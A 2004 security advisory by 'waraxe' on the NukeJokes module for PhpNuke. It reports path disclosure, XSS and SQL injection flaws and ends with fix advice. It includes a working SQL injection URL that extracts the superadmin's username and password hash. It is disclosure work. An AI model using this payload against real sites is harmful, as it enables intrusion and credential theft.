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{ [waraxe-2004-SA#028] }

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{ [ Multiple vulnerabilities in NukeJokes module for PhpNuke ] }

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Author: Janek Vind "waraxe"

Date: 08. May 2004

Location: Estonia, Tartu

Web: http://www.waraxe.us/index.php?modname=sa&id=28

Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From readme file:

"Nuke jokes is an addon for PHPNuke. It has been tested with PHPNuke 6.0. It should

work with 6.5 and some lower versions but I haven't been able to test it. Nuke Jokes

allows you to have a database of jokes on your website. Jokes are sperated into different

categories to make them easier to find. It includes the ability to rate jokes, shows

how many views they've had and other information. Also includes a search engine. The

admin area allows you to add, edit and delete jokes and categories, install and uninstall

the database and validate user added jokes."

Author: Adam Webb

Websites:

http://www.funportal.host.sk

http://funportal.beanwebb.com

I have tested two different versions of NukeJokes: v1.7 and 2 Beta. They seems to have same

security bugs.

Vulnerabilities:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Well, what to say? I was really surprised, when saw NukeJokes source code - almost ALL

sql queries are WITHOUT ANY single quotes...

Wide area to practice sql injection attacks. And most user submitted parameters are not

sanitized at all, so full path disclosure and XSS cases exists there too. In fact, NukeJokes

has so many bugs, that i'm too lazy to count them all. So i will just bring some examples...

A. Full path disclosure:

Examples:

http://localhost/nuke72/modules/NukeJokes/mainfunctions.php

http://localhost/nuke72/modules.php?name=NukeJokes&func=JokeView&jokeid=
foobar

http://localhost/nuke72/modules.php?name=NukeJokes&func=CatView&cat=foob
ar

B. Cross-site scripting aka XSS:

Examples:

http://localhost/nuke72/modules.php?name=NukeJokes&func=CatView&cat=[xss
code here]

http://localhost/nuke72/modules.php?name=NukeJokes&func=JokeView&jokeid=
[xss code here]

C. Sql injection:

Example exploiting GET request:

http://localhost/nuke72/modules.php?name=NukeJokes&file=print&jokeid=-1/
**/UNION/**/SELECT/**/aid,pwd/**/FROM/**/nuke_authors/**/WHERE/**/radmin
super=1/**/LIMIT/**/1/*

and we can see superadmin's username and password's md5 hash with ease. Of course, mysql

has to be 4.x with UNION functionality enabled, to successful exploiting.

Ending words to author(s) - NukeJokes is based on good ideas, but must be rewritten in secure

way! This is not such big work - just add those single quotes to any sql queries and do sanitize

variables, passed to script by client browser, to avoid cross-site scripting and path disclosure

bugs. If you want some advise from me, you can always send an email and i will help.

Greetings:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna and to all bugtraq readers in Estonia! Tervitused!

Special greets to http://www.gamecheaters.us staff!

Contact:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe (at) yahoo (dot) com [email concealed]

Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

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